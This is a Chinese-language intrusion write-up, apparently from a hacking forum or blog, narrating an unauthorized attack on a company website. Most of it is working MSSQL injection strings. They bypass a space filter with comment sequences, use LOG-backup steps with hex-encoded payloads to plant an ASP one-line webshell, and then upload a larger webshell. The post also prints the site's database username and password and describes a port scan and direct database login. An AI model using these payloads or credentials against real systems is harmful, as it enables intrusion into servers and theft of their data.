user_id=1196' and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
返回异常,证明不是sysadmin权限, 很失望,最近搞sysadmin权限的注入搞上瘾了,嘿嘿。。接着:
user_id=1196' and 1=(SELECT IS_MEMBER('db_owner'));--
返回正常,证明NBSI的判断还是没错的,的确是db_owner权限。
一说到db_owner权限我马上想到了列目录进行LOG备份或差异备份得到一个WEBSHELL,因为是显错模式,NBSI列目录的速度还是满快的,不一会儿功夫我就找到了这个站的主目录,接下的工作就是备份得到一个WEBSHELL了,一切就像往常的注入一样,仿佛这个站马上就可以搞定了似的。因为有差异备份工具,所以我也就懒得手工搞。网上看到的注入文章,好像是分成了两派,手工的就纯手工,工具的就纯工具,好像两者水火不相容似的,我的原则就是两者灵活运用,能用工具的不用手工浪费时间,手工注入时也可以用工具爆表的内容以提高效率,工具搞不定的才用手工注入。比如说列目录,虽然手工也可以实现,但速度太慢,在方面还是发挥工具重复计算的长处,扬长避短嘛!但有些工作必须用手工才能搞定的还得用手工,比如说在遇到某些字符或关键字被过滤时,工具注入可能就要失效了,这时用手工就成了唯一的选择。还比如建表,执行一些特殊存储过程,bluk insert读文件,特殊检索等等吧,这些操作用注入工具是无法完成的,所以这时还要用手工搞。注入工具擅长得无非就是猜表及表的内容和猜后台等。所以在盲注入条件下手工爆表内容太慢时,可以充分发挥工具的长处,提高入侵效率,这是我的一点不成熟看法。说了一大堆无关的话题,呵呵。。。我们继续。。。。在xiaolu的差异备份工具中填入注入点,修改了一下导出的代码为<%execute(request("value"))%> 然后就是backup a webshell,程序执行完毕后,用“一句话木马增强客户端”连接,可是连接不上导出的asp程序。这时我就感觉到了有些不对劲了,往常这时基本上就已经搞定了,而今天怎么却出现了这样的问题。于是用NBSI的列目录功能搜索了一下ASP的导出目录,没有找到导出的ASP文件。以前也是这样搞的,可以说是100%成功,今天这样的情况是头一次遇到。没有办法了还是手工判断一下吧。
提交:user_id=1196' and 1=1--返回:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '1196 and 1=1--' 转换为数据类型为 int 的列时发生语法错误。
/company/company_left.asp,行4
这就让我想不通了,正常的注入,上面的注入语句应该返回正常才对,为什么会出错呢?接着我又试了一句:
user_id=1996' and user>0-- 返回:
将 varchar 值 'auto_home' 转换为数据类型为 int 的列时发生语法错误
看来这句还能正常工作。再建个表试试,
user_id=1996';create table cmd (a image);-- 返回:
将 varchar 值 '1996';create table cmd (a image);--' 转换为数据类型为 int 的列时发生语法错误
啊。。。。。怎么会这样。。。。。???百思不得其解中!!!!!!怪不得不能进行差异备份呢,原来是连建表也建不了。这时我想起了NBSI的检测结果,难道是真的不能多句执行?不对呀!既然NBSI可以列目录,那就一定可以建表和执行一些存储过程,但手工注入不行,我想可能是NBSI采用了与我的手工不同的注入语句所致。我接着用手工试了好多注入语句都不行,无意中用NBSI浏览这个站的主目录,发现了好几个可疑的ASP程序,用IE连接之,靠。。。原来全都是ASP马,放在网站根目录里,太嚣张了吧!而且不用参数就可以连接,明眼人一看就知道这个站被人搞过了。既然人家能进入,那我也一定可也以,我下定决心一定要搞定它。晚上我针对这个问题请教了开门芝麻站长ET。ET是我们老大,人很热心,技术很全面,他很快就找到了问题的所在,是程序过滤了空格造成的注入失败,他的方法是将空格替换成/**/。我试着将前面的注入语句的空格,替换成/**/均成功了。在此对ET老大表示感谢,ET真不愧一个注入高手!
找到了正解的注入语句,接下来的工作当然就是备份得到WEBSHELL了。LOG备份语法如下:
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = 'c:\Sammy' with init,no_truncate
insert into cmd (a) values ('<%Execute(request("value"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp' with init,no_truncate
相应的注入句法为:
(1)user_id=1996';alter/**/database/**/ldqy/**/set/**/RECOVERY/**/FULL-- 注:ldqy是当前连接的数据库
(2)user_id=1996';create/**/table/**/cmd/**/(a/**/image)--
(3)user_id=1996';backup/**/log/**/ldqy/**/to/**/disk='c:\Sammy'/**/with/**/init,no_truncate--
(4)user_id=1996';insert/**/into/**/cmd/**/(a)/**/values/**/('<%Execute(request("value"))%>')--
(5)user_id=1996';backup/**/log/**/ldqy/**/to/**/disk='e:\all_home\yellow_home\ri.asp'/**/with/**/init,no_truncate--这样就在对方机器e:\all_home\yellow_home目录下生成了我们备份出来的含有一句话木马服务端的ASP文件,用NBSI列目录查看一下,果然在这个目录下发现了这个ri.asp,心中暗暗窃喜,小样,,,这回你该跑不了了吧。。。呵呵。。。
又一次用一句话木马客户端连接之,这回却显示了一大堆乱码,站长助手还是不能上传。这又是怎么回事?自从学注入以来,这是遇到的最大的一个难题了,以前入侵过的站,只要是db_owner权限,可以列出目录的,基本上都搞定了,看来这回注入语句是对了,备份出来的程序不对,不对在哪里我也不清楚了。对呀。。。NBSI3.0也有LOG备份的功能,何不一试呢?马上用NBSI备份了一个ri5.asp到了e:\all_home\yellow_home目录下,列目录查看,还是没有这个文件,晕呀!空格是被过滤的,得手工修改才行。看来手工注入在关键时候还是很必要的。注入语句为:
(1)user_id=1996';alter/**/database/**/ldqy/**/set/**/RECOVERY/**/FULL--
(2)user_id=1996';create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])--
(3)user_id=1996';declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x7900690061006F006C007500/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate--
(4)user_id=1996';insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C25657865637574652872657175657374282276616C7565222929253E)--
(5)user_id=1996';declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x65003A005C0061006C006C005F0068006F006D0065005C00790065006C006C006F0077005F0068006F006D0065005C007200690035002E00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate-- 注:@s为'e:\all_home\yellow_home\ri5.asp'还是用NBSI列目录,这时看到ri5.asp安祥地躺在e:\all_home\yellow_home目录下,心里还是忐忑不安,不知这一次能不能成功,一句话连接,熟悉的"站长小助手"界面出现了,呵呵。。。这次看来是成功了,马上将我的大马“站长助手6”上传上去,然后登录站长助手6。如图1:
然后在网站的主目录里找刚才上传上去的ri.asp看它哪个地方不对。把它下载回来改成txt扩展名,用记事本打开,如图2所示:
看到没,原先的<%Execute(request("value"))%>变成了<Execute(request("value"))>少了两个%号,这样就使导出的ASP文件不能解释执行了,也就是前面所说的用一句话客户端连接时会显示一堆乱码,就是因为没有ASP语言的标识符<% %>造成的,为了把事情进一步搞清楚,我找到这个网站的数据库连接文件,在目录e:\all_home\yellow_home\inc\下的conn.asp,内容如下:
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.connectionstring="PROVIDER=SQLOLEDB;UID=auto_home;PWD=ah_!$*%%-sql;DATABASE=ldqy"
conn.open
%>
<!--#include file="public_function.asp"-->
从中我得到了数据库连接用户为:auto_home 密码:ah_!$*%%-sql
用啊D网络工具包对这台主机开放端口进行扫描,发现开放端口21,80,1433等,既然有1433开放,我就用SQL查询分析器连接进去,虽然db_owner权限干不了什么大事情,但简单的检索以及查看功能比注入工具来的简捷明了一些。分别对第一次备份的表和第二次备份的表进行检索,内容如图3:






